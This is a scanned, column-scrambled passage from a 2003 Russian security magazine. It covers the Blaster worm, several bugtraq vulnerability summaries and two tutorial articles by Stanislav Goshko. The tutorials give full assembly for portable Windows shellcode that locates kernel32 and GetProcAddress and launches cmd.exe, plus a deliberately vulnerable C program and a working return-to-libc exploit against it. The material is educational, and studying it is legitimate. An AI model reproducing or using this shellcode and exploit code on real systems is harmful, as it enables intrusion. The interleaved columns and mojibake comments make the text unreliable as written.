money and fix your software!! тическая системная служба Remote Procedure Call, и ком-
пьютер автоматически перезагружается в течение ми-
Что в переводе звучит так: нуты. В этот момент пользователь наблюдает окно с
ошибкой «RPC service failing» и отсчёт времени до пере-
ß õî÷ó ñêàçàòü, ËÞÁËÞ ÒÅÁß, SAN!! загрузки.
Áèëëè Ãåéòñ, ïî÷åìó òû äîïóñêàåøü òàêîå? Ïðåêðàùàé äåëàòü
äåíüãè è èñïðàâü ñâî¸ ïðîãðàììíîå îáåñïå÷åíèå!! Но это ещё не всё. 16 августа 2003 года червь запус-
кает DDoS-атаку на сервер http://www.windowsupdate.com,
После полного анализа червя выяснилось следующее: пытаясь таким образом затруднить или прервать его
 Червь проникает в компьютер, используя удалённое работу.
выполнение команд посредством переполнения буфе- Трудно представить ее последствия, так как в связи с
ра. перегрузкой многих узлов возможны были региональные
 Выполняется GET-запрос на закачку тела вируса че- отключения сети Интернет, как это было в случае с SQL
рез команду tftp. Slammer.
 Помещение файла msblast.exe в %WinDir%\system32 Однако, как всегда, вмешался Его Величество Случай –
и его запуск. кризис энергетической системы США сорвал запланиро-
 Регистрация червя в ключе автозапуска: ванную атаку или отложил на некоторое время.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run А как же лекарство?
 Ключ: windows auto update=«msblast.exe» 1. Официальный патч от Microsoft(c):
 Червь открывает порт 69 (tFTP-server) для последую- http://www.microsoft.com/technet/treeview/
щего размножения. default.asp?url=/technet/security/bulletin/MS03-026.asp
2. Временный патч FixBlast от Symantec(c):
Далее идёт процесс сканирования и генерации IP-ад- http://securityresponse.symantec.com/avcenter/venc/data/
ресов новых жертв. Это происходит следующим образом: w32.blaster.worm.removal.tool.html
червь сканирует IP-адреса текущей подсети и пытается
соединиться с 20 IP-адресами для инфицирования уязви- Если у вас какие-то проблемы со скачиванием файла,
мых компьютеров, после этого червь делает паузу в тече- то вы можете просто отключить службу DCOM. Пуск →
ние 1,8 секунды, а затем снова сканирует следующие 20 Выполнить → dcomcnfg.exe → Службы компонентов →
IP-адресов и повторяет этот процесс в бесконечном цик- Компьютеры → Мой компьютер → Свойства по умолча-
ле до перезагрузки компьютера. Например, мы имеем нию – убрать галку «Разрешить использование DCOM на
подсеть 192.168.1.0/24, IP-адрес заражённого компьюте- этом компьютере».
ра 192.168.1.134, червь сканирует так: Также заблокируйте порт 135 TCP и 69 UDP на ваших
межсетевых экранах.
192.168.1.0-19
ïàóçà 1.8 ñåê
192.168.1.20-39 Используемые сокращения:
ïàóçà è ò.ä. 1. DCOM – архитектура, предназначенная для взаимо-
действия компонентов COM.
Более того, червь имеет 2 метода сканирования IP- 2. UDP – User Datagram Protocol (протокол пользователь-
адресов: в 60% случаях червь выбирает случайный адрес ских дэйтаграмм).
подсети (A.B.C.D), где D равен 0, а A, B, C случайно выб- 3. SP – Service Pack (набор исправлений)..
раны из диапазона 1-255. Таким образом, сгенерирован- 4. RPC – Remote Procedure Call (удалённый вызов про-
ная подсеть находится в диапазоне [1-255].[1-255].[1- цедур).
255].0. В 40% червь сканирует свою подсеть. Он опреде- 4. DDoS – Distributed Denial of Service Attack (распреде-
ляет адрес локального компьютера (A.B.C.D), устанавли- лённая атака на отказ в обслуживании).
вает D в ноль и выбирает значение C. Если C больше, 5. Proof of concept code – исходный код, доказывающий
чем 20, то червь выбирает случайное число от 1 до 20. существование уязвимости.
Если C меньше или равно 20, червь не изменяет его.
 Запуск командной оболочки «cmd.exe» на TCP-порту При написании статьи использовались материалы сле-
4444. дующих источников:
http://www.securityfocus.com
Как заявляет Лаборатория Касперского, если бы не http://www.lsd-pl.net
было 1.8-секундной задержки, то многие узлы Интернета http://www.xfocus.com
не выдержали бы такой нагрузки и отказали. http://www.securitylab.ru
Вполне возможно, что это было учтено автором червя http://www.void.ru
для более успешной атаки на сайт обновлений Microsoft. http://www.symantec.ru
Побочным эффектом червя является как раз то, из- http://www.packetstormsecurity.nl
за чего компании всего мира терпят убытки. При полу- http://www.viruslist.com http://www.compulenta.ru
чении доступа используется не универсальный метод, http://www.salon.com

64
bugtraq

Удаленный DoS против Avant Browser Удаленное переполнение буфера


Уязвимость обнаружена в Avant Browser. Удаленный через MDAC в MS SQL-сервере
пользователь может сконструировать HTML, который ава- (подробности эксплуатации)
рийно завершит работу браузера. Unicode переполнение буфера обнаружено в MDAC, ко-
Удаленный пользователь может сконструировать URL, торая используется Server QL-DMO библиотекой. Удален-
который, когда будет загружен в браузере целевого ный атакующий может выполнить произвольный код на
пользователя, аварийно завершит работу браузера. При- целевой системе. Уязвимость можно эксплуатировать
мер: через широковещательные запросы.
Одна из особенностей сетевой библиотеки SQL-сер-
http://AAAAAAA[more 780 chars]
вера – возможность запрашивать список SQL-серверов в
Уязвимость обнаружена в Avant Browser 8.02. локальной сети. Для этого посылается широковещатель-
ное UDP-сообщение к 1434 порту, которое достигнет всех
приложений в локальной сети. Эта функция – компонент
SQL-DMO, который используется SQL Server Service
Manager (всякий раз при запуске), Enterprise Manager (при
Отказ в обслуживании через регистрации сервера), Query Analyzer и SQL (при клике
некорректные POST-запросы на «...» клавишу), DTS (при выборе SQL-сервера) и т. п.
в Lotus Domino Web Server Все SQL-серверы, получающие широковещательный
Отказ в обслуживании обнаружен в Lotus Domino Web запрос, отвечают стандартным UDP-пакетам. Если зло-
Server (nhttp.exe). Удаленный пользователь может аварий- намеренная машина отвечает на этот широковещатель-
но завершить работу веб-сервера. ный запрос слишком длинным пакетом, произойдет пе-
Удаленный пользователь может послать незавершен- реполнение буфера. Переполнение происходит в
ный POST-запрос используя s_Validation-форму, чтобы эк- UNICODE-строке, так что для эксплуатации этого пере-
сплуатировать эту уязвимость. Удаленный пользователь полнения буфера должен использоваться Venetian-метод.
может также послать POST-запрос, используя h_PageUI- Любые утилиты SQL-сервера, которые используют
форму с несуществующим параметром, чтобы эксплуа- SQL-DMO-функцию для поиска SQL-серверов, уязвимы к
тировать уязвимость. Примеры см. в источнике сообще- этому нападению. Нападающий может использовать не-
ния. сколько методов для эксплуатации этой уязвимости:
Уязвимость обнаружена в Lotus Domino Web Server 5.x,  Установить службу, слушающую на 1434 UDP-порту,
6.0. которая будет посылать эксплоит при получении дан-
Для устранения уязвимости установите соответству- ных. В этом случае злонамеренный сервис должен
ющее обновление, которое можно скачать отсюда: http:// находиться в той же самой подсети.
www-1.ibm.com/support/docview.wss?uid=swg21104528  Засыпать удаленную подсеть UDP-пакетами, надеясь,
что кто-то сделает уязвимый запрос. Например, посы-
лайте злонамеренные пакеты каждые 2 сек к
192.168.3.255, которые достигнут всех машин на
192.168.3.x подсети. Когда кто-то наконец пошлет ши-
Выполнение произвольного сценария роковещательный UDP-пакет, то они примут злонаме-
в определенном домене в RealOne Player ренный пакет и подвергнутся действию эксплоита.
Уязвимость обнаружена в RealOne Player. Удаленный  Также возможно через низко привилегированную учет-
пользователь может сконструировать медийный файл, ную запись в MS SQL-сервере послать запрос напря-
который выполнит произвольный код сценария в опреде- мую к IP-адресу на сети. Следующая SQL-инструкция
ленном домене. заставит SQL-сервер запросить хост с именем SERVER
Удаленный пользователь может сконструировать спе- с UDP-пакетом:
циально обработанный SMIL-файл, который, когда будет
загружен целевым пользователем, выполнит произволь- SELECT * FROM openrowset( 'SQLOLEDB', ↵
'server=SERVER\instancename;uid=sa;pwd=', '')
ный Javascript или VBScript-код в домене произвольного
URL. Могут быть и другие методы заставить SQL-сервер
Уязвимость обнаружена в RealOne Player (English only), посылать UDP-запрос и вызвать переполнение.
RealOne Player v2 for Windows (all language versions), and Уязвимость обнаружена в Microsoft Data Access
RealOne Enterprise Desktop (all versions, standalone and as Components 2.5sp1 – 2.7 SP1.
configured by the RealOne Desktop Manager).
Для устранения уязвимости используйте «Check for Составил Александр Антипов
Update» в меню «Tools».

№9(10), сентябрь 2003 65


безопасность

Построение
переносимого Shell-кода
для Windows-систем

Всё чаще и чаще обсуждаются аспекты атак


на Windows-системы. Основные возможности
атак на семейство данных систем были
уже рассмотрены, но не стоит забывать о том,
что при построении атаки на переполнение
буфера в большинстве случаев атакующий
сталкивается с построением shell-кода.

СТАНИСЛАВ ГОШКО

66
безопасность
Shell-код – это двоичный код, который выполняется в кон- стре edx будет находиться адрес ядра. Данный код специ-
тексте другой программы. Когда уязвимость уже обнару- ально модифицирован таким образом, чтобы в нём не
жена и начинается написание эксплоита, необходимо для было нулевых байт.
себя решить, будет ли эксплоит зависеть только от вер- Теперь перейдём к поиску адреса функции GetProc-
сии уязвимой программы или ещё он будет зависеть от Address. Поиск данной функции используется в большин-
версии операционной системы. Если атакующий хочет, стве современных вирусов, ориентированных на Windows-
чтобы его эксплоит работал на большинстве систем, то системы.
ему необходимо построить shell-код, который бы не опи- По определённому смещению в PE-заголовке мы мо-
рался на «жёсткие» адреса WIN API-функций. жем найти адрес таблицы экспортов. В таблице экспортов
Для построения такого рода кода необходимо, чтобы узнаем количество указателей на функции, расположение
shell-код удовлетворял следующим требованиям: таблицы указателей имен и адрес таблицы ординалов.
 Поиск адреса ядра (kernel32.dll). Перебираем указатели (и ординалы), проверяя при этом
 Поиск адреса WIN API-функции GetProcAddress. имена функций, на которые они указывают при совпаде-
 Поиск адресов других WIN API-функций при помощи нии с GetProcAddress. При совпадении возьмем ординал и
функции GetProcAddress. по таблице адресов мы получим адрес функции.
 Запуск необходимых нам WIN API-функций по найден- Рассмотрим пример поиска адреса функции GetProc-
ным адресам. Address:

Каким образом возможно выполнить первое требова- mov ebx,edx ; Ñîõðàíèì óêàçàòåëü
mov edi,dword ptr [edx+3Ch] ; Àäðåñ
ние? При запуске любой программы в операционных сис- ; PE-çàãîëîâêà
темах семейства Windows она вызывается из ядра. По- add edi,edx ; +Àäðåñ kernel
cmp word ptr [edi],'EP' ; Ïðîâåðêà íà PE
этому первый и относительно сложный способ поиска jne Exit ; Íå ðàâíî – âûõîäèì
адреса ядра основан на поиске в стеке. Но если мы вос- push edx ; Ñîõðàíèì àäðåñ kernel
пользуемся этим способом, то наш shell-код станет очень add ebx,[edi+78h] ; Ïîëó÷èì àäðåñ
большим, поэтому мы пойдём другим путём. ; òàáëèöû ýêñïîðòîâ
mov ecx,[ebx+18h] ; Êîëè÷åñòâî óêàçàòåëåé
Второй способ обнаружения адреса ядра – при помощи mov esi,[ebx+20h] ; Óêàçàòåëü íà òàáëèöó
SEH. Что же такое SEH? Это структурированный обработ- ; óêàçàòåëåé èìåí
mov edi,[ebx+24h] ; Óêàçàòåëü íà òàáëèöó
чик исключений. К примеру, если мы пытаемся писать в ; îðäèíàëîâ
ядро, то будет вызываться исключение и обрабатываться add esi,edx ; Àäðåñ òàáëèöû èìåí
; â ïàìÿòè
оно будет при помощи SEH. Адрес обработчика исключе- add edi,edx ; Àäðåñ òàáëèöû îðäèíàëîâ
ний всегда лежит внутри ядра, так что для поиска адреса ; â ïàìÿòè
cld ; Ïîèñê âïåðåä
ядра нам всего лишь необходимо найти последний обра- add ebp,8 ; ebp óêàçûâàåò
ботчик. По адресу fs:[0] лежит номер текущего обработчи- ; íà ñëåäóþùóþ ñòðîêó
Search: ; Èùåì ôóíêöèþ GetProcAddress
ка исключений. Ищем, пока не найдём 0xFFFFFFFF (но- lodsd ; Áåðåì óêàçàòåëü èç òàáëèöû óêàçàòåëåé
мер системного обработчика). Этот адрес, в отличие от ад- add eax,edx ; Ïîëó÷àåì àäðåñ ïàìÿòè
xchg esi,eax ; Â esi óêàçàòåëü íà èìÿ
реса функции ExitThread в NT, всегда лежит в kernel32.dll. ; íàéäåííîé ôóíêöèè
Рассмотрим пример поиска адреса kernel:
xchg edi,ebp ;
; Óêàçûâàåì íà èìÿ íóæíîé
mov eax, fs:[ebx] ; Óêàçàòåëü íà ñïèñîê ; íàì ôóíêöèè
; îáðàáîò÷èêîâ push ecx ; Êëàä¸ì ecx â ñòåê
inc eax ; Óâåëè÷èâàåì eax íà 1 xor ecx,ecx ; Îáíóëÿåì ecx
next_seh: add cl,15 ; Ðàçìåð ñòðîêè
xchg eax, ebx ; Îáìåíèâàåì ñîäåðæèìîå eax repe cmpsb ; Ñðàâíèâàåì
; c ebx jc restore1
mov eax, [ebx-1] ; Íîìåð òåêóùåãî îáðàáîò÷èêà rest2:
inc eax ; Óâåëè÷èâàåì eax íà 1 xchg esi,eax ; Âîññòàíîâèì çíà÷åíèå esi
jnz next_seh ; ßâëÿåòñÿ ëè îí
; ñèñòåìíûì (-1)? pop ecx ; Âîññòàíîâèì êîëè÷åñòâî
mov edx, [ebx-1+4] ; Àäðåñ îáðàáîò÷èêà ; óêàçàòåëåé
xchg ax, dx ; Ýêâèâàëåíòíî xchg edi,ebp ; Âîññòàíîâèì óêàçàòåëü
; xor dx,dx (eax=0) ; íà îðäèíàëû
xor eax,eax ; Îáíóëÿåì eax
je Found ; Íàøëè!
mov ax,1001h ; Ïîìåùàåì â eax inc edi ; Íåò – ïðîáóåì ñëåäóþùóþ
dec ax ; 1000 ; ôóíêöèþ
next_block: inc edi ; Óêàçàòåëü íà ñëåäóþùèé
cmp word ptr [edx],'ZM' ; Íà÷àëî? ; îðäèíàë
je found_MZ ; ÄÀ! loop Search
sub edx,eax ; Èùåì äàëüøå jmp Exit
jmp next_block restore1:
found_MZ: xor esi,esi ;
mov ebx,edx ; Ñîõðàíèì óêàçàòåëü mov si,61125 ; Ïîìåùàåì â esi ÷èñëî 15
mov edi,dword ptr [edx+3Ch] ; Àäðåñ sub si,61110 ;
; PE-çàãîëîâêà
add edi,edx ; +Àäðåñ kernel sub esi,ecx ; Âîññòàíàâëèâàåì óêàçàòåëü
cmp word ptr [edi],'EP' ; Ïðîâåðêà íà PE ; (edi) íà íà÷àëî ñòðîêè
jne Exit ; Íå ðàâíî – âûõîäèì sub edi,esi ;
jmp rest2 ;
В результате работы данного куска кода у нас в реги- Found:

№9(10), сентябрь 2003 67


безопасность
xor eax,eax ; Îáíóëÿåì eax add ebx,[edi+78h] ; Ïîëó÷èì àäðåñ òàáëèöû
mov ax,word ptr [edi] ; ýêñïîðòîâ
; mov ecx,[ebx+18h] ; Êîëè÷åñòâî óêàçàòåëåé
; Âîçüìåì îðäèíàë mov esi,[ebx+20h] ; Óêàçàòåëü íà òàáëèöó
shl eax,2 ; Óìíîæèì íà ðàçìåð îðäèíàëà ; óêàçàòåëåé èìåí
mov esi,[ebx+1Ch] ; Óêàçàòåëü íà òàáëèöó mov edi,[ebx+24h] ; Óêàçàòåëü íà òàáëèöó
; àäðåñîâ ; îðäèíàëîâ
add esi,edx ; Ïîëó÷èì àäðåñ íà÷àëà add esi,edx ; Àäðåñ òàáëèöû èìåí
; òàáëèöû àäðåñîâ ; â ïàìÿòè
add esi,eax ; È àäðåñ íóæíîé ôóíêöèè add edi,edx ; Àäðåñ òàáëèöû îðäèíàëîâ
lodsd ; Ïðî÷èòàåì ; â ïàìÿòè
add eax,edx ; Äîáàâèì àäðåñ kernel cld ; Ïîèñê âïåðåä
add ebp,8 ; ebp óêàçûâàåò íà
; ñëåäóþùóþ ñòðîêó
В начале этого кода в edx хранится адрес kernel, а в Search: ; Èùåì ôóíêöèþ GetProcAddress
конце в eax хранится адрес функции GetProcAddress. lodsd ; Áåðåì óêàçàòåëü èç
; òàáëèöû óêàçàòåëåé
Третье и четвёртое требования выполняются достаточ- add eax,edx ; Ïîëó÷àåì àäðåñ ïàìÿòè
но легко. Для этого необходимо знание о том, с какими па- xchg esi,eax ; Â esi óêàçàòåëü íà èìÿ
; íàéäåííîé ôóíêöèè
раметрами запускаются необходимые нам WIN API-функции. xchg edi,ebp ;
Теперь построим переносимый shell-код для локаль- ; Óêàçûâàåì íà èìÿ íóæíîé
; íàì ôóíöèè
ной атаки на Win32-системы: push ecx ; Êëàä¸ì ecx â ñòåê
xor ecx,ecx ; Îáíóëÿåì ecx
.386 add cl,15 ; Ðàçìåð ñòðîêè
.model flat, stdcall repe cmpsb ; Ñðàâíèâàåì
extrn ExitProcess:proc jc restore1
.data rest2:
start: xchg esi,eax ; Âîññòàíîâèì çíà÷åíèå esi
;---------------[SUPA SHELLCODE]--------------------------
Getproc: pop ecx ; Âîññòàíîâèì êîëè÷åñòâî
mov esi,esp ; esi óêàçûâàåò íà âåðøèíó ; óêàçàòåëåé
; ñòåêà xchg edi,ebp ; Âîññòàíîâèì óêàçàòåëü
xor ecx,ecx ; îáíóëÿåì ecx ; íà îðäèíàëû
mov cl,169 ; ecx óêàçûâàåò íà òåêñòîâóþ je Found ; Íàøëè!
; ñòðîêó 'WinExec' inc edi ; Íåò – ïðîáóåì ñëåäóþùóþ
add esi,ecx ; È esi òåïåðü óêàçûâåò ; ôóíêöèþ
; íà 'WinExec' inc edi ; Óêàçàòåëü íà ñëåäóþùèé
push esi ; Êëàä¸ì esi â ñòåê ; îðäèíàë
mov ebp,esi ; È ebp òåïåðü óêàçûâàåò loop Search
; íà 'WinExec' jmp Exit
mov edi,esi ; È edi òåïåðü óêàçûâàåò restore1:
; íà 'WinExec' xor esi,esi ;
xor ecx,ecx ; Îáíóëÿåì ecx mov si,61125 ; Ïîìåùàåì â esi ÷èñëî 15
mov cl,27 ; È êëàä¸ì â cl 27 sub si,61110 ;
xor1: lodsb ; Çàãðóæàåì â al áàéò
cmp al,01 ; Ïðîâåðÿåì 1 ýòî èëè íåò sub esi,ecx ; Âîññòàíàâëèâàåì óêàçàòåëü
jne nextb ; Åñëè íåò – èùåì äàëüøå ; (edi) íà íà÷àëî ñòðîêè
xor al,01 ; Åñëè 1, òî îáíóëÿåì åãî è sub edi,esi ;
nextb: jmp rest2 ;
stosb ; Âîçâðàùàåì íà ìåñòî Found:
loop xor1 ; Òàêèì îáðàçîì, ìû xor eax,eax ; Îáíóëÿåì eax
; âîññòàíàâëèâàåì âñå mov ax,word ptr [edi]
; íóæíûå íàì íóëè ;
xor ebx,ebx ; Îáíóëÿåì ebx ; Âîçüìåì îðäèíàë
shl eax,2 ; Óìíîæèì íà ðàçìåð
mov eax, fs:[ebx] ; Óêàçàòåëü íà ñïèñîê ; îðäèíàëà
; îáðàáîò÷èêîâ mov esi,[ebx+1Ch] ; Óêàçàòåëü íà òàáëèöó
inc eax ; Óâåëè÷èâàåì eax íà 1 ; àäðåñîâ
next_seh: add esi,edx ; Ïîëó÷èì àäðåñ íà÷àëà
xchg eax, ebx ; Îáìåíèâàåì ñîäåðæèìîå ; òàáëèöû àäðåñîâ
; eax c ebx add esi,eax ; È àäðåñ íóæíîé ôóíêöèè
mov eax, [ebx-1] ; Íîìåð òåêóùåãî îáðàáîò÷èêà lodsd ; Ïðî÷èòàåì
inc eax ; Óâåëè÷èâàåì eax íà 1 add eax,edx ; Äîáàâèì àäðåñ kernel
jnz next_seh ; ßâëÿåòñÿ ëè îí call eax ; Ïîëó÷àåì àäðåñ ôóíêöèè
; ñèñòåìíûì (-1)? ; WinExec
mov edx, [ebx-1+4] ; Àäðåñ îáðàáîò÷èêà
xchg ax, dx ; Ýêâèâàëåíòíî push 1 ; Çàïîëíÿåì ñòåê
; xor dx,dx (eax=0) push ebp ;

xor eax,eax ; Îáíóëÿåì eax call eax ; Çàïóñêàåì "cmd.exe"


mov ax,1001h ; Ïîìåùàåì â eax Exit:
dec ax ; 1000 ;---------------------------------------------------------
next_block: db 'WinExec',01
cmp word ptr [edx],'ZM' ; Íà÷àëî? db 'GetProcAddress',01
je found_MZ ; ÄÀ! db 'cmd',01
sub edx,eax ; Èùåì äàëüøå konec:
jmp next_block .code
found_MZ: ;---------------------------------------------------------
mov ebx,edx ; Ñîõðàíèì óêàçàòåëü nop
mov edi,dword ptr [edx+3Ch] ; Àäðåñ ;---------------------------------------------------------
; PE-çàãîëîâêà end start
add edi,edx ; +Àäðåñ kernel end
cmp word ptr [edi],'EP' ; Ïðîâåðêà íà PE
jne Exit ; Íå ðàâíî – âûõîäèì Вот мы и построили переносимый shell-код для 32-бит-
push edx ; Ñîõðàíèì àäðåñ
; kernel ных систем семейства Windows.

68
bugtraq

Удаленное переполнение буфера


Переполнение буфера в тэге Object в XML-функции базы данных Oracle
в Microsoft Internet Explore Несколько переполнений буфера обнаружено в Oracle
(подробности) Database в XML-функциях базы данных. Удаленный
Переполнение буфера обнаружено в Microsoft Internet пользователь может получить доступ к сессии пользова-
Explorer. Удаленный атакующий может выполнить произ- теля базы данных.
вольный код на системе. Удаленный пользователь может вызвать несколько пе-
Переполнение буфера обнаружено в Microsoft Internet реполнений буфера в XML Database (XDB) функциях
Explorer при обработке HTML-файлов с чрезмерно длин- Oracle9i Database Release 2 сервера. Удаленный пользо-
ной строкой, содержащей «double-byte»-символы в свой- ватель может вызвать отказ в обслуживании на сервере
стве Type тэга Object. Удаленный атакующий может скон- или перехватить активную сессию целевого пользовате-
струировать специально обработанную веб-страницу или ля базы данных. Уязвимость можно эксплуатировать, если
HTML-почтовое сообщение, чтобы выполнить произволь- на сервере работает FTP- или HTTP-сервер.
ный код на системе с привилегиями пользователя без Уязвимость обнаружена в Oracle9i Database Release 2
какого-либо взаимодействия с пользователем. only.
Уязвимость обнаружена в Internet Explorer 6 Service Для устранения уязвимости сперва скачайте Oracle9i
Pack 1. Database Release 2, version 9.2.0.3 patchset. Затем уста-
новите соответствующую заплату, которую можно скачать
отсюда: http://metalink.oracle.com
Обход ограничений безопасности
в Internet Explorer
(подробности) Раскрытие конфигурации
Уязвимость обнаружена в Internet Explorer 6 Service Microsoft URLScan
Pack 1 Japanese Edition. При определенных условиях уда- при совместном использовании
ленный атакующий может автоматически загрузить и об- с RSA’s SecurID
работать определенный тэг, включенный с HTML-файлом Уязвимость раскрытия информации обнаружена в RSA’s
в My Computer zone без уведомления пользователя. SecurID, когда используется Microsoft URLScan. Удален-
Если некоторый MIME-тип определен в Content-Type- ный пользователь может определить подробности
заголовке в HTTP-ответе и некоторая строка определена URLScan конфигурации на веб-сервере.
в Content-Disposition-заголовке, эта строка будет автома- Если используется SecurID с URLScan, то в некоторых
тически загружена и открыта внутри Temporary Internet случаях отклоненная информация будет возвращена уда-
Files (TIF) в Microsoft Internet Explorer. В результате злона- ленному пользователю. Удаленный пользователь может
меренный веб-сайт может автоматически выполнить зло- выполнить различные HTTP-запросы и, контролируя от-
намеренный сценарий. Выполненный сценарий раскроет веты, определить конфигурацию URLScan.
атакующему путь к TIF-каталогу. Когда удаленный пользователь запрашивает URL, ко-
Дополнительно, если уязвимость эксплуатируется че- торый будет отвергнут URLScan, веб-сервер возвратит
рез злонамеренную строку в Content-Disposition-заголов- следующую информацию, например:
ке, тэг OBJECT будет обработан в «My Computer» зоне. В
результате злонамеренный веб-сайт может выполнить <INPUT TYPE=HIDDEN NAME="referrer" ↵
VALUE="Z2FZ3CRejected-By-UrlScanZ3EZ3FZ7EZ2Firm.ida">
произвольные программы на компьютере с привилегия-
ми пользователя. Уязвимость обнаружена в RSA SecurID ACE/Agent 5.0.
Уязвимость обнаружена в Internet Explorer 6 Service Для устранения уязвимости в качестве приоритетного
Pack 1 Japanese Edition. ISAPI-фильтра установите SecurID-фильтр.

Удаленное завершение работы Поднятие локальных привилегий


в Sun ONE и iPlanet Web Servers через DameWare Mini Remote Control
на Windows-системах Уязвимость обнаружена в DameWare Mini Remote Control
Уязвимость обнаружена в Sun ONE и iPlanet Web Servers (часть DameWare NT Utilities). Локальный пользователь
на Windows-системах. Удаленный пользователь может может получить System-привилегии на целевом сервере,
аварийно завершить работу веб-сервера. используя эксплоит типа Shatter.
Дополнительные подробности не раскрываются. Ин- Локальный пользователь может послать специально
формацию о заплатах можно найти в источнике сообще- сформированное Windows Message к высокопривилегиро-
ния. ванному процессу DWRCS.exe, чтобы заставить DameWare
Уязвимость обнаружена в Sun ONE Web Server 6.0 SP3- выполнить произвольный код с System-привилегиями.
SP5. Уязвимость обнаружена в DameWare до версии
3.71.0.0.
Составил Александр Антипов

№9(10), сентябрь 2003 69


безопасность

АТАКА НА ПЕРЕПОЛНЕНИЕ
БУФЕРА ЧЕРЕЗ
НЕИСПОЛНИМЫЙ СТЕК
В WINDOWS NT/2000/XP

Атаки на переполнение буфера за последние 10 лет получили громадное распространение.


Практически во всех современных операционных системах предусматривается защита от
данных атак (Black Cat, Sun...). Поэтому не за горами то время, когда данная защита появится
и у Windows-систем. В данной статье будет рассматриваться атака на переполнение буфера
через неисполнимый стек.

СТАНИСЛАВ ГОШКО
70
безопасность
Рассмотрим, чем отличается обычное переполнение бу-
push 0
фера от переполнения буфера через неисполнимый стек. call ExitProcess
Большинство атак на переполнение буфера строятся
comm1 db 'cmd',0
по следующей схеме: end start
 Подготавливается мусор и вычисляются номера бай- end
тов, которые перетирают адрес возврата.
 Подготавливается исполнимый код в качестве буфера. Теперь нам необходимо разобраться, как выглядит стек
 Вычисляется адрес возврата при помощи отладчика, внутри функции WinExec. Рассмотрим схему стека внут-
так, чтобы он указывал на исполнимый код в стеке. ри WinExec (вызов данной функции отмечен восклица-
 Затем подготовленный буфер, содержащий мусорные тельными знаками).
байты, новый адрес возврата и исполнимый код пере-
даются уязвимой программе.

Рассмотрим на схеме, как выглядит стек уязвимой про-


граммы в момент проведения обычной атаки на срыв стека:

Для построения нашей атаки нам наиболее важны зна-


чения, отмеченные восклицательными знаками. Первый
же параметр можно упустить.
Перейдём к конструированию нашей атаки. Мы долж-
ны так переполнить буфер, чтобы при возвращении из
Как вы могли заметить, исполнение shell-кода проис- функции мы попали прямиком в WIN API-функцию с за-
ходит прямо в стеке. Большинство защит ориентировано полненным стеком. И самое главное, что стек должен быть
на то, чтобы воспрепятствовать выполнению кода в сте- заполнен корректно для вызова cmd.exe.
ке, и данная защита очень хорошо работает против боль- Разберём схему построения данной атаки:
шинства эксплоитов.  Подготавливается имя программы («cmd»), мусор и вы-
Теперь для понимания функционирования эксплоитов, числяются номера байтов, которые перетирают адрес
использующих атаку через неисполнимый стек, рассмот- возврата.
рим простую программу, которая вызывает через WinExec  Вычисляется адрес строки при помощи отладчика так,
программу – «cmd.exe». чтобы он указывал на строку «cmd» в стеке.
На языке С++ она бы выглядела так:  Вычисляются адреса функций: WinExec, ExitProcess.
 Затем подготовленный буфер, содержащий имя про-
#include <windows.h> граммы («cmd»), мусорные байты, новый адрес строки
void main () и адреса функций, передаётся уязвимой программе.
{
WinExec("cmd",1);
} Рассмотрим схему стека при реализации данной атаки:

В данной программе не видно вызова функции


ExitProcess, так как компилятор C++ сам заботится о кор-
ректном завершении программы.
Рассмотрим аналогичную программу на языке ассем-
блера:

.386
.model flat, stdcall
extrn ExitProcess:proc
extrn WinExec:proc
.data
dd 0
.code
start:
push 1
push offset comm1
call WinExec ; !!!!!

№9(10), сентябрь 2003 71


безопасность
Как вы можете видеть по схеме стека, в момент атаки Рассмотрим листинг эксплоита:
мы упустили первый параметр функции WinExec. А также
мы поставили адрес функции ExitProcess в качестве адре- // example exploit by sl0n
са возврата из функции WinExec. После того, как консоль #include <stdio.h>
будет запущена, управление будет передано на функцию #include <windows.h>
ExitProcess, которая корректно завершит процесс. void main()
Теперь рассмотрим простую уязвимую программу и {
char garbage[1000];
построим для неё эксплоит, работающий через неиспол- char buffer[500];
нимый стек.
// àäðåñ ôóíêöèè WinExec äëÿ WIN XP
Рассмотрим листинг: char r_address1[8]="\xC6\x84\xE6\x77";
// àäðåñ ôóíêöèè ExitProcess äëÿ WIN XP
#include <stdio.h> char r_address2[8]="\xB5\x5C\xE7\x77";
#include <windows.h> // àäðåñ ñòðîêè "cmd" â ñòýêå
char pointer_to_cmd[8]="\x80\xfa\x12\x00";
void vuln_func(char *stroka) // Çàïîëíÿåì ñòðîêó ìóñîðîì (nop'û)
{ memset(garbage,'\x90',256);
// "cmd "
// áóôåð strcat(buffer,"cmd ");
char buffer[256];
// "cmd "+nop'û
strcat(buffer,garbage);
// ôóíêöèÿ â ðåçóëüòàòå âûçûâàþùàÿ ïåðåïîëíåíèå áóôåðà // "cmd "+nop'û+WinExec
lstrcpyA(buffer,stroka);
strcat(buffer,r_address1);
// "cmd "+nop'û+WinExec+ExitProcess
} strcat(buffer,r_address2);
void main (int argc, char *argv[]) // "cmd "+nop'û+WinExec+ExitProcess+....
strcat(buffer,pointer_to_cmd);
{
// âûçîâ óÿçâèìîé ôóíêöèè
vuln_func(argv[1]); strcpy(garbage,"BUG.EXE ");
strcat(garbage,buffer);
printf("Parameter is : %s",argv[1]);
} //"BUG.EXE "+"cmd "+nop'û+WinExec+ExitProcess+point_cmd
WinExec(buffer,1);
Откомпилируем её и выясним, что эта программа де- }
лает. Если её запустить без параметров, то она выведет
следующее: Как вы могли убедиться, для реализации данной ата-
ки не нужно глубокое знание ассемблера для построения
Parameter is : 0(null) shell-кода. Она гораздо легче реализуется, чем традици-
онное переполнение буфера. Данный вид атаки на пере-
Запустим её следующим образом: полнение буфера гораздо более прогрессивный, но су-
ществует некоторая сложность построения удалённых эк-
c:\x-files\bug.exe aaaaaaa сплоитов данного типа.
По-моему, данная атака представляет собой второе
Тогда данная программа выведет: дыхание эксплоитов, ориентированных на переполнение
буфера.
Parameter is : aaaaaaa Для борьбы с атаками данного вида системные адми-
нистраторы должны с большим вниманием следить за
При «aaaaa....aaaa» в количестве больше чем 256 бу- обновлением программного обеспечения.
дет происходить переполнение буфера. При написании статьи использовались материалы:
Теперь, когда у нас есть уязвимая программа, мы мо- 1. Non-stack Based Exploitation of Buffer Overrun
жем реализовать эксплоит для неё, который будет дей- Vulnerabilities on Windows NT/2000/XP by David Litchfield
ствовать по описанному выше принципу. (david@ngssoftware.com).

72
программирование

РАБОТА С БАЗАМИ
ДАННЫХ НА PERL

ВЛАДИСЛАВ ГОШКО
74
программирование
В наше время базы данных широко используются в раз- $$h{$name}=[@values];
}else{
ных сферах человеческой жизни. Самые простые базы $vals = uri_unescape($vals);
